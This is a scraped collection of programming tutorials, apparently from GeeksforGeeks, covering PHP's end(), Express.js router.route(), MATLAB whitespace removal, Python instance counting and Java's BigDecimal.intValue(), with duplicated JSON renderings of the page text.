30 Nov, 2021 In this article, we will see how to get the last element in an array using the end() function in PHP, along with understanding their implementation through the examples. The end() function is an inbuilt function in PHP and is used to find the last element of the given array. The end() function changes the internal pointer of an array to point to the last element and returns the value of the last element. Syntax: end($array) Parameters: This function accepts a single parameter $array. It is the array of which the last element we want to find. Return Value: It returns the value of the last element of the array on success, otherwise returns FALSE on failure when the array is empty. Consider the following example. Input: array('Ram', 'Shita', 'Geeta') Output: Geeta Explanation: Here, the input array contain many elements but output is Geeta i.e, last element of the array as the end() function returns the last element of an array. Example 1: The below example illustrate the end() function in PHP. PHP <?php // Input array $arr = array('Ram', 'Shita', 'Geeta'); // end function print the last // element of the array. echo end($arr);?> Output: Geeta Example 2: This example illustrates retrieving the last element from an array. PHP <?php // Input array $arr = array('1', '3', 'P'); // end function print the last // element of the array. echo end($arr)."\n"; // end() updates the internal pointer // to point to last element as the // current() function will now also // return last element echo current($arr);?> Output: P P Reference: http://php.net/manual/en/function.end.php PHP is a server-side scripting language designed specifically for web development. You can learn PHP from the ground up by following this PHP Tutorial and PHP Examples. bhaskargeeksforgeeks PHP-array PHP-function PHP Web Technologies PHP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to convert array to string in PHP ? PHP | Converting string to Date and DateTime Comparing two dates in PHP How to get parameters from a URL string in PHP? How to receive JSON POST with PHP ? Installation of Node.js on Linux Top 10 Projects For Beginners To Practice HTML and CSS Skills Difference between var, let and const keywords in JavaScript How to insert spaces/tabs in text using HTML/CSS? How to fetch data from an API in ReactJS ?
[ { "code": null, "e": 28, "s": 0, "text": "\n30 Nov, 2021" }, { "code": null, "e": 198, "s": 28, "text": "In this article, we will see how to get the last element in an array using the end() function in PHP, along with understanding their implementation through the examples." }, { "code": null, "e": 436, "s": 198, "text": "The end() function is an inbuilt function in PHP and is used to find the last element of the given array. The end() function changes the internal pointer of an array to point to the last element and returns the value of the last element." }, { "code": null, "e": 444, "s": 436, "text": "Syntax:" }, { "code": null, "e": 456, "s": 444, "text": "end($array)" }, { "code": null, "e": 577, "s": 456, "text": "Parameters: This function accepts a single parameter $array. It is the array of which the last element we want to find. " }, { "code": null, "e": 717, "s": 577, "text": "Return Value: It returns the value of the last element of the array on success, otherwise returns FALSE on failure when the array is empty." }, { "code": null, "e": 749, "s": 717, "text": "Consider the following example." }, { "code": null, "e": 970, "s": 749, "text": "Input: array('Ram', 'Shita', 'Geeta')\nOutput: Geeta\nExplanation: Here, the input array contain many elements\nbut output is Geeta i.e, last element of the array \nas the end() function returns the last element of an array." }, { "code": null, "e": 1037, "s": 970, "text": "Example 1: The below example illustrate the end() function in PHP." }, { "code": null, "e": 1041, "s": 1037, "text": "PHP" }, { "code": "<?php // Input array $arr = array('Ram', 'Shita', 'Geeta'); // end function print the last // element of the array. echo end($arr);?>", "e": 1184, "s": 1041, "text": null }, { "code": null, "e": 1192, "s": 1184, "text": "Output:" }, { "code": null, "e": 1198, "s": 1192, "text": "Geeta" }, { "code": null, "e": 1277, "s": 1198, "text": "Example 2: This example illustrates retrieving the last element from an array." }, { "code": null, "e": 1281, "s": 1277, "text": "PHP" }, { "code": "<?php // Input array $arr = array('1', '3', 'P'); // end function print the last // element of the array. echo end($arr).\"\\n\"; // end() updates the internal pointer // to point to last element as the // current() function will now also // return last element echo current($arr);?>", "e": 1575, "s": 1281, "text": null }, { "code": null, "e": 1583, "s": 1575, "text": "Output:" }, { "code": null, "e": 1587, "s": 1583, "text": "P\nP" }, { "code": null, "e": 1640, "s": 1587, "text": "Reference: http://php.net/manual/en/function.end.php" }, { "code": null, "e": 1809, "s": 1640, "text": "PHP is a server-side scripting language designed specifically for web development. You can learn PHP from the ground up by following this PHP Tutorial and PHP Examples." }, { "code": null, "e": 1830, "s": 1809, "text": "bhaskargeeksforgeeks" }, { "code": null, "e": 1840, "s": 1830, "text": "PHP-array" }, { "code": null, "e": 1853, "s": 1840, "text": "PHP-function" }, { "code": null, "e": 1857, "s": 1853, "text": "PHP" }, { "code": null, "e": 1874, "s": 1857, "text": "Web Technologies" }, { "code": null, "e": 1878, "s": 1874, "text": "PHP" }, { "code": null, "e": 1976, "s": 1878, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2016, "s": 1976, "text": "How to convert array to string in PHP ?" }, { "code": null, "e": 2061, "s": 2016, "text": "PHP | Converting string to Date and DateTime" }, { "code": null, "e": 2088, "s": 2061, "text": "Comparing two dates in PHP" }, { "code": null, "e": 2136, "s": 2088, "text": "How to get parameters from a URL string in PHP?" }, { "code": null, "e": 2172, "s": 2136, "text": "How to receive JSON POST with PHP ?" }, { "code": null, "e": 2205, "s": 2172, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 2267, "s": 2205, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 2328, "s": 2267, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 2378, "s": 2328, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
Express.js router.route() Function
09 Jul, 2020 The router.route() function returns an instance of a single route that you can then use to handle HTTP verbs with optional middleware. You can also use the router.route() function to avoid duplicate route naming as well as typing errors. Syntax: router.route( path ) Parameter: The path parameter holds the path of the specified URL. Return Value: It returns responses. Installation of express module: You can visit the link to Install express module. You can install this package by using this command.npm install expressAfter installing the express module, you can check your express version in command prompt using the command.npm version expressAfter that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command.node index.js You can visit the link to Install express module. You can install this package by using this command.npm install express npm install express After installing the express module, you can check your express version in command prompt using the command.npm version express npm version express After that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command.node index.js node index.js Example 1: Filename: index.js var express = require('express');var app = express();var router = express.Router();var PORT = 3000; // Single routingrouter.route('/user').get(function (req, res, next) { console.log("GET request called"); res.end();}); app.use(router); app.listen(PORT, function(err){ if (err) console.log(err); console.log("Server listening on PORT", PORT);}); Steps to run the program: The project structure will look like this:Make sure you have installed express module using the following command:npm install expressRun index.js file using below command:node index.jsOutput:Server listening on PORT 3000 Now make GET request to http://localhost:3000/, you can see the following output on your screen:Server listening on PORT 3000 GET request called The project structure will look like this: Make sure you have installed express module using the following command:npm install express npm install express Run index.js file using below command:node index.jsOutput:Server listening on PORT 3000 node index.js Output: Server listening on PORT 3000 Now make GET request to http://localhost:3000/, you can see the following output on your screen:Server listening on PORT 3000 GET request called Server listening on PORT 3000 GET request called Example 2: Filename: index.js var express = require('express');var app = express();var router = express.Router();var PORT = 3000; // Multiple routingrouter.route('/user').get(function (req, res, next) { console.log("GET request called"); res.end();}).post(function (req, res, next) { console.log("POST request called"); res.end();}).put(function (req, res, next) { console.log("PUT request called"); res.end();}); app.use(router); app.listen(PORT, function(err){ if (err) console.log(err); console.log("Server listening on PORT", PORT);}); Run index.js file using below command: node index.js Now make GET, POST, PUT request to http://localhost:3000/, you can see the following output on your screen: Server listening on PORT 3000 GET request called POST request called PUT request called Reference: https://expressjs.com/en/4x/api.html#router.route Express.js Node.js Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n09 Jul, 2020" }, { "code": null, "e": 266, "s": 28, "text": "The router.route() function returns an instance of a single route that you can then use to handle HTTP verbs with optional middleware. You can also use the router.route() function to avoid duplicate route naming as well as typing errors." }, { "code": null, "e": 274, "s": 266, "text": "Syntax:" }, { "code": null, "e": 295, "s": 274, "text": "router.route( path )" }, { "code": null, "e": 362, "s": 295, "text": "Parameter: The path parameter holds the path of the specified URL." }, { "code": null, "e": 398, "s": 362, "text": "Return Value: It returns responses." }, { "code": null, "e": 430, "s": 398, "text": "Installation of express module:" }, { "code": null, "e": 825, "s": 430, "text": "You can visit the link to Install express module. You can install this package by using this command.npm install expressAfter installing the express module, you can check your express version in command prompt using the command.npm version expressAfter that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command.node index.js" }, { "code": null, "e": 946, "s": 825, "text": "You can visit the link to Install express module. You can install this package by using this command.npm install express" }, { "code": null, "e": 966, "s": 946, "text": "npm install express" }, { "code": null, "e": 1094, "s": 966, "text": "After installing the express module, you can check your express version in command prompt using the command.npm version express" }, { "code": null, "e": 1114, "s": 1094, "text": "npm version express" }, { "code": null, "e": 1262, "s": 1114, "text": "After that, you can just create a folder and add a file for example, index.js. To run this file you need to run the following command.node index.js" }, { "code": null, "e": 1276, "s": 1262, "text": "node index.js" }, { "code": null, "e": 1306, "s": 1276, "text": "Example 1: Filename: index.js" }, { "code": "var express = require('express');var app = express();var router = express.Router();var PORT = 3000; // Single routingrouter.route('/user').get(function (req, res, next) { console.log(\"GET request called\"); res.end();}); app.use(router); app.listen(PORT, function(err){ if (err) console.log(err); console.log(\"Server listening on PORT\", PORT);});", "e": 1669, "s": 1306, "text": null }, { "code": null, "e": 1695, "s": 1669, "text": "Steps to run the program:" }, { "code": null, "e": 2062, "s": 1695, "text": "The project structure will look like this:Make sure you have installed express module using the following command:npm install expressRun index.js file using below command:node index.jsOutput:Server listening on PORT 3000\nNow make GET request to http://localhost:3000/, you can see the following output on your screen:Server listening on PORT 3000\nGET request called\n" }, { "code": null, "e": 2105, "s": 2062, "text": "The project structure will look like this:" }, { "code": null, "e": 2197, "s": 2105, "text": "Make sure you have installed express module using the following command:npm install express" }, { "code": null, "e": 2217, "s": 2197, "text": "npm install express" }, { "code": null, "e": 2306, "s": 2217, "text": "Run index.js file using below command:node index.jsOutput:Server listening on PORT 3000\n" }, { "code": null, "e": 2320, "s": 2306, "text": "node index.js" }, { "code": null, "e": 2328, "s": 2320, "text": "Output:" }, { "code": null, "e": 2359, "s": 2328, "text": "Server listening on PORT 3000\n" }, { "code": null, "e": 2505, "s": 2359, "text": "Now make GET request to http://localhost:3000/, you can see the following output on your screen:Server listening on PORT 3000\nGET request called\n" }, { "code": null, "e": 2555, "s": 2505, "text": "Server listening on PORT 3000\nGET request called\n" }, { "code": null, "e": 2585, "s": 2555, "text": "Example 2: Filename: index.js" }, { "code": "var express = require('express');var app = express();var router = express.Router();var PORT = 3000; // Multiple routingrouter.route('/user').get(function (req, res, next) { console.log(\"GET request called\"); res.end();}).post(function (req, res, next) { console.log(\"POST request called\"); res.end();}).put(function (req, res, next) { console.log(\"PUT request called\"); res.end();}); app.use(router); app.listen(PORT, function(err){ if (err) console.log(err); console.log(\"Server listening on PORT\", PORT);});", "e": 3124, "s": 2585, "text": null }, { "code": null, "e": 3163, "s": 3124, "text": "Run index.js file using below command:" }, { "code": null, "e": 3177, "s": 3163, "text": "node index.js" }, { "code": null, "e": 3285, "s": 3177, "text": "Now make GET, POST, PUT request to http://localhost:3000/, you can see the following output on your screen:" }, { "code": null, "e": 3374, "s": 3285, "text": "Server listening on PORT 3000\nGET request called\nPOST request called\nPUT request called\n" }, { "code": null, "e": 3435, "s": 3374, "text": "Reference: https://expressjs.com/en/4x/api.html#router.route" }, { "code": null, "e": 3446, "s": 3435, "text": "Express.js" }, { "code": null, "e": 3454, "s": 3446, "text": "Node.js" }, { "code": null, "e": 3471, "s": 3454, "text": "Web Technologies" } ]
How to remove space in a string in MATLAB?
05 Aug, 2021 In this article, we are going to discuss how to remove space from a string in MATLAB with the help of isspace(), find(), strrep(), and regexprep() functions. The isspace() function is used to identify elements that are ASCII white spaces. isspace(‘string’) is used to find the white spaces present in the specified ‘string’. Syntax: isspace(‘string’) Example 1: Matlab % MATLAB code for Space removal in% string using isspace()% Initializing a stringString = 'G F G'; % Calling the find() function% along with isspace() function% over the above string to remove% the white spacesNew_String = String(find(~isspace(String))) Output: New_String = GFG Example 2: Matlab % MATLAB code for replacing space with% null using the% isspace() function % Initializing a stringString = 'G e e k s f o r G e e k s';String(isspace(String)) = [] Output: String = GeeksforGeeks The strrep() function is used to find and replace substrings. strrep(string1, string2, string3) is used to replace all occurrences of the string ‘string2’ within string ‘string1’ with the string ‘string3’. Syntax: strrep(string1, string2, string3) Example: Matlab % MATLAB code for space removal in% string using strrep( )% Initializing a stringString = 'G e e k s f o r G e e k s'; % Replacing space with null using the% strrep() function over the above stringNew_String = strrep(String,' ','') Output: New_String = GeeksforGeeks The regexprep() function is used to replace text using regular expressions. Syntax: regexprep(str, expression, replace) Example: Matlab % MATLAB code for regexprep method% for string space removal% Initializing a stringString = 'G e e k s f o r G e e k s'; % Replacing space with null using the% regexprep() function over the above stringNew_String = regexprep(String, '\s+', '') Output: New_String = GeeksforGeeks The deblank() function is used to remove the trailing whitespace or tab characters and null characters from the specified string and returns the result without the trailing whitespace. Syntax: deblank(string) Parameters: This function accepts a parameter which is illustrated below: string: This is the specified string with whitespace or tab characters. Return values: It returns a new string without trailing whitespace or tab characters. Example 1: Matlab % MATLAB code for space remove in string% using deblack()% Specifying a string 'gfg'% along with a tab and% whitespace characterString = sprintf('\t gfg \t'); % Adding '|' character to the% above string['|' String '|'] % Calling the deblack() over% above string to remove% tab and whitespace charactersNew_String = deblank(String); % Getting the specified string% without trailing tab and whitespace['|' New_String '|'] Output: ans = | gfg | ans = | gfg| Example 2 Matlab % MATLAB code for convert character array% into string then remove space% Specifying a character array with% space and tab characterchar = ['gfg'; 'GFG '; 'GeeksforGeeks ']; % Converting the above character array into% stringString = string(char); % Calling the deblank() over% above string to remove% tab and whitespace charactersNew_String = deblank(String) Output: New_String = "gfg" "GFG" "GeeksforGeeks" The strtrim() function is used to remove leading and trailing whitespace characters from the specified string and returns the result as a new string without any leading and trailing whitespaces. Syntax: strtrim(string) Parameters: This function accepts a parameter which is illustrated below: string: This is the specified string with leading and trailing whitespace or tab characters. Return values: It returns a new string without trailing or leading whitespace or tab characters. Example 1: Matlab % Specifying a string 'gfg'% along with a tab and% whitespace characterString = sprintf('\t gfg \t'); % Adding '|' character to the% above string['|' String '|'] % Calling the strtrim() function over% above string to remove leading and% trailing tab and whitespace charactersNew_String = strtrim(String); % Getting the specified string% without leading and trailing tab and% whitespace['|' New_String '|'] Output: ans = | gfg | ans = |gfg| Example 2: Matlab % MATLAB code for strrim()% Specifying a character array with% space and tab characterchar = [' gfg'; ' GFG '; ' GeeksforGeeks ']; % Converting the above character array% into stringString = string(char); % Calling the strtrim() over% above string to remove leading and% trailing tab and whitespace charactersNew_String = strtrim(String) Output: New_String = "gfg" "GFG" "GeeksforGeeks" The erase(string, match) function is used to remove all occurrences of the specified match in the given string and returns the remaining text. Syntax: erase(string, match) Parameters: This function accepts two parameters, which are illustrated below: string: This is the specified string from which the match is going to be removed. match: This is the specified match. Return values: It returns a new string as the remaining text without the matching part. Example 1: Matlab % MATLAB code for space removal% in string using erase()% Initializing a string arrayA = ["gfg - GFG"] % Calling the erase() function% over the above string arrayB = erase(A, " ") Output: A = gfg - GFG B = gfg-GFG Now, let’s see two different methods for space removal by using relational operators and the concept of the null space. Here we use equality (== ) and inequality (~=) relational operators. Relational operators compare operands quantitatively, using different operators. Example 1: Matlab % MATLAB code for space removal in string% using equality operator% Initializing a stringString = 'G e e k s f o r G e e k s'; % Changing the above String by setting% locations with spaces equal to nullString(String == ' ') = [] Output: String = GeeksforGeeks Example 2: Matlab % MATLAB code for Space removal% in string using inequality and non-space% elements methodString = 'G e e k s f o r G e e k s'; % Extracting non-space elementsNew_String = String(String ~= ' ') Output: New_String = GeeksforGeeks arorakashish0911 MATLAB String-Programs MATLAB-programs MATLAB Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Convert Three Channels of Colored Image into Grayscale Image in MATLAB? How to Solve Histogram Equalization Numerical Problem in MATLAB? Adaptive Histogram Equalization in Image Processing Using MATLAB MRI Image Segmentation in MATLAB How to detect duplicate values and its indices within an array in MATLAB? Double Integral in MATLAB Classes and Object in MATLAB Forward and Inverse Fourier Transform of an Image in MATLAB How to Normalize a Histogram in MATLAB? How to Convert RGB Image to Binary Image Using MATLAB?
[ { "code": null, "e": 28, "s": 0, "text": "\n05 Aug, 2021" }, { "code": null, "e": 186, "s": 28, "text": "In this article, we are going to discuss how to remove space from a string in MATLAB with the help of isspace(), find(), strrep(), and regexprep() functions." }, { "code": null, "e": 353, "s": 186, "text": "The isspace() function is used to identify elements that are ASCII white spaces. isspace(‘string’) is used to find the white spaces present in the specified ‘string’." }, { "code": null, "e": 361, "s": 353, "text": "Syntax:" }, { "code": null, "e": 379, "s": 361, "text": "isspace(‘string’)" }, { "code": null, "e": 390, "s": 379, "text": "Example 1:" }, { "code": null, "e": 397, "s": 390, "text": "Matlab" }, { "code": "% MATLAB code for Space removal in% string using isspace()% Initializing a stringString = 'G F G'; % Calling the find() function% along with isspace() function% over the above string to remove% the white spacesNew_String = String(find(~isspace(String)))", "e": 651, "s": 397, "text": null }, { "code": null, "e": 662, "s": 654, "text": "Output:" }, { "code": null, "e": 679, "s": 662, "text": "New_String = GFG" }, { "code": null, "e": 691, "s": 679, "text": "Example 2: " }, { "code": null, "e": 698, "s": 691, "text": "Matlab" }, { "code": "% MATLAB code for replacing space with% null using the% isspace() function % Initializing a stringString = 'G e e k s f o r G e e k s';String(isspace(String)) = []", "e": 862, "s": 698, "text": null }, { "code": null, "e": 873, "s": 865, "text": "Output:" }, { "code": null, "e": 896, "s": 873, "text": "String = GeeksforGeeks" }, { "code": null, "e": 1104, "s": 898, "text": "The strrep() function is used to find and replace substrings. strrep(string1, string2, string3) is used to replace all occurrences of the string ‘string2’ within string ‘string1’ with the string ‘string3’." }, { "code": null, "e": 1115, "s": 1106, "text": "Syntax: " }, { "code": null, "e": 1149, "s": 1115, "text": "strrep(string1, string2, string3)" }, { "code": null, "e": 1158, "s": 1149, "text": "Example:" }, { "code": null, "e": 1165, "s": 1158, "text": "Matlab" }, { "code": "% MATLAB code for space removal in% string using strrep( )% Initializing a stringString = 'G e e k s f o r G e e k s'; % Replacing space with null using the% strrep() function over the above stringNew_String = strrep(String,' ','')", "e": 1397, "s": 1165, "text": null }, { "code": null, "e": 1405, "s": 1397, "text": "Output:" }, { "code": null, "e": 1432, "s": 1405, "text": "New_String = GeeksforGeeks" }, { "code": null, "e": 1508, "s": 1432, "text": "The regexprep() function is used to replace text using regular expressions." }, { "code": null, "e": 1517, "s": 1508, "text": "Syntax: " }, { "code": null, "e": 1553, "s": 1517, "text": "regexprep(str, expression, replace)" }, { "code": null, "e": 1562, "s": 1553, "text": "Example:" }, { "code": null, "e": 1569, "s": 1562, "text": "Matlab" }, { "code": "% MATLAB code for regexprep method% for string space removal% Initializing a stringString = 'G e e k s f o r G e e k s'; % Replacing space with null using the% regexprep() function over the above stringNew_String = regexprep(String, '\\s+', '')", "e": 1813, "s": 1569, "text": null }, { "code": null, "e": 1824, "s": 1816, "text": "Output:" }, { "code": null, "e": 1853, "s": 1826, "text": "New_String = GeeksforGeeks" }, { "code": null, "e": 2038, "s": 1853, "text": "The deblank() function is used to remove the trailing whitespace or tab characters and null characters from the specified string and returns the result without the trailing whitespace." }, { "code": null, "e": 2048, "s": 2040, "text": "Syntax:" }, { "code": null, "e": 2064, "s": 2048, "text": "deblank(string)" }, { "code": null, "e": 2138, "s": 2064, "text": "Parameters: This function accepts a parameter which is illustrated below:" }, { "code": null, "e": 2210, "s": 2138, "text": "string: This is the specified string with whitespace or tab characters." }, { "code": null, "e": 2296, "s": 2210, "text": "Return values: It returns a new string without trailing whitespace or tab characters." }, { "code": null, "e": 2309, "s": 2298, "text": "Example 1:" }, { "code": null, "e": 2318, "s": 2311, "text": "Matlab" }, { "code": "% MATLAB code for space remove in string% using deblack()% Specifying a string 'gfg'% along with a tab and% whitespace characterString = sprintf('\\t gfg \\t'); % Adding '|' character to the% above string['|' String '|'] % Calling the deblack() over% above string to remove% tab and whitespace charactersNew_String = deblank(String); % Getting the specified string% without trailing tab and whitespace['|' New_String '|']", "e": 2738, "s": 2318, "text": null }, { "code": null, "e": 2749, "s": 2741, "text": "Output:" }, { "code": null, "e": 2779, "s": 2749, "text": "ans = | gfg |\nans = | gfg|" }, { "code": null, "e": 2791, "s": 2781, "text": "Example 2" }, { "code": null, "e": 2798, "s": 2791, "text": "Matlab" }, { "code": "% MATLAB code for convert character array% into string then remove space% Specifying a character array with% space and tab characterchar = ['gfg'; 'GFG '; 'GeeksforGeeks ']; % Converting the above character array into% stringString = string(char); % Calling the deblank() over% above string to remove% tab and whitespace charactersNew_String = deblank(String)", "e": 3186, "s": 2798, "text": null }, { "code": null, "e": 3198, "s": 3189, "text": "Output: " }, { "code": null, "e": 3249, "s": 3198, "text": "New_String =\n\"gfg\" \n\"GFG\" \n\"GeeksforGeeks\" " }, { "code": null, "e": 3446, "s": 3251, "text": "The strtrim() function is used to remove leading and trailing whitespace characters from the specified string and returns the result as a new string without any leading and trailing whitespaces." }, { "code": null, "e": 3456, "s": 3448, "text": "Syntax:" }, { "code": null, "e": 3472, "s": 3456, "text": "strtrim(string)" }, { "code": null, "e": 3547, "s": 3472, "text": "Parameters: This function accepts a parameter which is illustrated below: " }, { "code": null, "e": 3640, "s": 3547, "text": "string: This is the specified string with leading and trailing whitespace or tab characters." }, { "code": null, "e": 3737, "s": 3640, "text": "Return values: It returns a new string without trailing or leading whitespace or tab characters." }, { "code": null, "e": 3750, "s": 3739, "text": "Example 1:" }, { "code": null, "e": 3757, "s": 3750, "text": "Matlab" }, { "code": "% Specifying a string 'gfg'% along with a tab and% whitespace characterString = sprintf('\\t gfg \\t'); % Adding '|' character to the% above string['|' String '|'] % Calling the strtrim() function over% above string to remove leading and% trailing tab and whitespace charactersNew_String = strtrim(String); % Getting the specified string% without leading and trailing tab and% whitespace['|' New_String '|']", "e": 4163, "s": 3757, "text": null }, { "code": null, "e": 4174, "s": 4166, "text": "Output:" }, { "code": null, "e": 4202, "s": 4174, "text": "ans = | gfg |\nans = |gfg|" }, { "code": null, "e": 4215, "s": 4204, "text": "Example 2:" }, { "code": null, "e": 4222, "s": 4215, "text": "Matlab" }, { "code": "% MATLAB code for strrim()% Specifying a character array with% space and tab characterchar = [' gfg'; ' GFG '; ' GeeksforGeeks ']; % Converting the above character array% into stringString = string(char); % Calling the strtrim() over% above string to remove leading and% trailing tab and whitespace charactersNew_String = strtrim(String)", "e": 4579, "s": 4222, "text": null }, { "code": null, "e": 4590, "s": 4582, "text": "Output:" }, { "code": null, "e": 4641, "s": 4590, "text": "New_String =\n\"gfg\" \n\"GFG\" \n\"GeeksforGeeks\" " }, { "code": null, "e": 4784, "s": 4641, "text": "The erase(string, match) function is used to remove all occurrences of the specified match in the given string and returns the remaining text." }, { "code": null, "e": 4794, "s": 4786, "text": "Syntax:" }, { "code": null, "e": 4815, "s": 4794, "text": "erase(string, match)" }, { "code": null, "e": 4896, "s": 4817, "text": "Parameters: This function accepts two parameters, which are illustrated below:" }, { "code": null, "e": 4980, "s": 4898, "text": "string: This is the specified string from which the match is going to be removed." }, { "code": null, "e": 5016, "s": 4980, "text": "match: This is the specified match." }, { "code": null, "e": 5106, "s": 5018, "text": "Return values: It returns a new string as the remaining text without the matching part." }, { "code": null, "e": 5119, "s": 5108, "text": "Example 1:" }, { "code": null, "e": 5128, "s": 5121, "text": "Matlab" }, { "code": "% MATLAB code for space removal% in string using erase()% Initializing a string arrayA = [\"gfg - GFG\"] % Calling the erase() function% over the above string arrayB = erase(A, \" \")", "e": 5309, "s": 5128, "text": null }, { "code": null, "e": 5320, "s": 5312, "text": "Output:" }, { "code": null, "e": 5346, "s": 5320, "text": "A = gfg - GFG\nB = gfg-GFG" }, { "code": null, "e": 5616, "s": 5346, "text": "Now, let’s see two different methods for space removal by using relational operators and the concept of the null space. Here we use equality (== ) and inequality (~=) relational operators. Relational operators compare operands quantitatively, using different operators." }, { "code": null, "e": 5629, "s": 5618, "text": "Example 1:" }, { "code": null, "e": 5636, "s": 5629, "text": "Matlab" }, { "code": "% MATLAB code for space removal in string% using equality operator% Initializing a stringString = 'G e e k s f o r G e e k s'; % Changing the above String by setting% locations with spaces equal to nullString(String == ' ') = []", "e": 5865, "s": 5636, "text": null }, { "code": null, "e": 5876, "s": 5868, "text": "Output:" }, { "code": null, "e": 5899, "s": 5876, "text": "String = GeeksforGeeks" }, { "code": null, "e": 5912, "s": 5901, "text": "Example 2:" }, { "code": null, "e": 5919, "s": 5912, "text": "Matlab" }, { "code": "% MATLAB code for Space removal% in string using inequality and non-space% elements methodString = 'G e e k s f o r G e e k s'; % Extracting non-space elementsNew_String = String(String ~= ' ')", "e": 6113, "s": 5919, "text": null }, { "code": null, "e": 6121, "s": 6113, "text": "Output:" }, { "code": null, "e": 6148, "s": 6121, "text": "New_String = GeeksforGeeks" }, { "code": null, "e": 6167, "s": 6150, "text": "arorakashish0911" }, { "code": null, "e": 6190, "s": 6167, "text": "MATLAB String-Programs" }, { "code": null, "e": 6206, "s": 6190, "text": "MATLAB-programs" }, { "code": null, "e": 6213, "s": 6206, "text": "MATLAB" }, { "code": null, "e": 6311, "s": 6213, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 6390, "s": 6311, "text": "How to Convert Three Channels of Colored Image into Grayscale Image in MATLAB?" }, { "code": null, "e": 6455, "s": 6390, "text": "How to Solve Histogram Equalization Numerical Problem in MATLAB?" }, { "code": null, "e": 6520, "s": 6455, "text": "Adaptive Histogram Equalization in Image Processing Using MATLAB" }, { "code": null, "e": 6553, "s": 6520, "text": "MRI Image Segmentation in MATLAB" }, { "code": null, "e": 6627, "s": 6553, "text": "How to detect duplicate values and its indices within an array in MATLAB?" }, { "code": null, "e": 6653, "s": 6627, "text": "Double Integral in MATLAB" }, { "code": null, "e": 6682, "s": 6653, "text": "Classes and Object in MATLAB" }, { "code": null, "e": 6742, "s": 6682, "text": "Forward and Inverse Fourier Transform of an Image in MATLAB" }, { "code": null, "e": 6782, "s": 6742, "text": "How to Normalize a Histogram in MATLAB?" } ]
How to count number of instances of a class in Python?
29 Dec, 2020 Instances of a class mean the objects created for a particular class. A single class can have multiple objects of it. Here, we will find the count of the number of instances of a class in Python. Approach: Whenever an object is created, the constructor of that particular class is called. Constructor is a function whose name is the same as that of class name and it doesn’t have any return type. A constructor is used to initialize the variables of a class. Whenever a constructor is called which means a new object is created, we just have to increment a counter that will keep track of the no. of objects that particular class has. Below is the implementation: Python3 # codeclass geeks: # this is used to print the number # of instances of a class counter = 0 # constructor of geeks class def __init__(self): # increment geeks.counter += 1 # object or instance of geeks classg1 = geeks()g2 = geeks()g3 = geeks()print(geeks.counter) Output: 3 Picked Python Oops-programs Python-OOP Technical Scripter 2020 Python Technical Scripter Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n29 Dec, 2020" }, { "code": null, "e": 224, "s": 28, "text": "Instances of a class mean the objects created for a particular class. A single class can have multiple objects of it. Here, we will find the count of the number of instances of a class in Python." }, { "code": null, "e": 234, "s": 224, "text": "Approach:" }, { "code": null, "e": 317, "s": 234, "text": "Whenever an object is created, the constructor of that particular class is called." }, { "code": null, "e": 487, "s": 317, "text": "Constructor is a function whose name is the same as that of class name and it doesn’t have any return type. A constructor is used to initialize the variables of a class." }, { "code": null, "e": 664, "s": 487, "text": "Whenever a constructor is called which means a new object is created, we just have to increment a counter that will keep track of the no. of objects that particular class has. " }, { "code": null, "e": 693, "s": 664, "text": "Below is the implementation:" }, { "code": null, "e": 701, "s": 693, "text": "Python3" }, { "code": "# codeclass geeks: # this is used to print the number # of instances of a class counter = 0 # constructor of geeks class def __init__(self): # increment geeks.counter += 1 # object or instance of geeks classg1 = geeks()g2 = geeks()g3 = geeks()print(geeks.counter)", "e": 1011, "s": 701, "text": null }, { "code": null, "e": 1019, "s": 1011, "text": "Output:" }, { "code": null, "e": 1021, "s": 1019, "text": "3" }, { "code": null, "e": 1028, "s": 1021, "text": "Picked" }, { "code": null, "e": 1049, "s": 1028, "text": "Python Oops-programs" }, { "code": null, "e": 1060, "s": 1049, "text": "Python-OOP" }, { "code": null, "e": 1084, "s": 1060, "text": "Technical Scripter 2020" }, { "code": null, "e": 1091, "s": 1084, "text": "Python" }, { "code": null, "e": 1110, "s": 1091, "text": "Technical Scripter" } ]
BigDecimal intValue() Method in Java
04 Dec, 2018 The java.math.BigDecimal.intValue() is an in-built function which converts this BigDecimal to an integer value. This function discards any fractional part of this BigDecimal. If the result of the conversion is too big to be represented as an integer value, the function returns only the lower-order 32 bits. Syntax: public int intValue() Parameters: This function accepts no parameters. Return Value: This function returns the integer value of this BigDecimal. Examples: Input : 19878124.176 Output : 19878124 Input : "721111" Output : 721111 Below programs illustrate the java.math.BigDecimal.intValue() method: Program 1: // Java program to illustrate// intValue() methodimport java.math.*;import java.io.*; class GFG { public static void main(String[] args) { // Creating 2 BigDecimal Objects BigDecimal b1, b2; // Assigning values to b1, b2 b1 = new BigDecimal("19878124.176"); b2 = new BigDecimal("721111"); // Displaying their respective Integer Values System.out.println("The Integer Value of " + b1 + " is " + b1.intValue()); System.out.println("The Integer Value of " + b2 + " is " + b2.intValue()); }} Output: The Integer Value of 19878124.176 is 19878124 The Integer Value of 721111 is 721111 Note: Information regarding the overall magnitude and precision of large this BigDecimal values might be lost during the course of conversion by this function. As a consequence, a result with the opposite sign might be returned. Program 2: This program illustrates a scenario when the function returns a result with the opposite sign. // Java program to illustrate// intValue() methodimport java.math.*;import java.io.*; class GFG { public static void main(String[] args) { // Creating 2 BigDecimal Objects BigDecimal b1, b2; // Assigning values to b1, b2 b1 = new BigDecimal("1987812417600"); b2 = new BigDecimal("3567128439701"); // Displaying their respective Integer Values System.out.println("The Integer Value of " + b1 + " is " + b1.intValue()); System.out.println("The Integer Value of " + b2 + " is " + b2.intValue()); }} Output: The Integer Value of 1987812417600 is -757440448 The Integer Value of 3567128439701 is -1989383275 Reference: 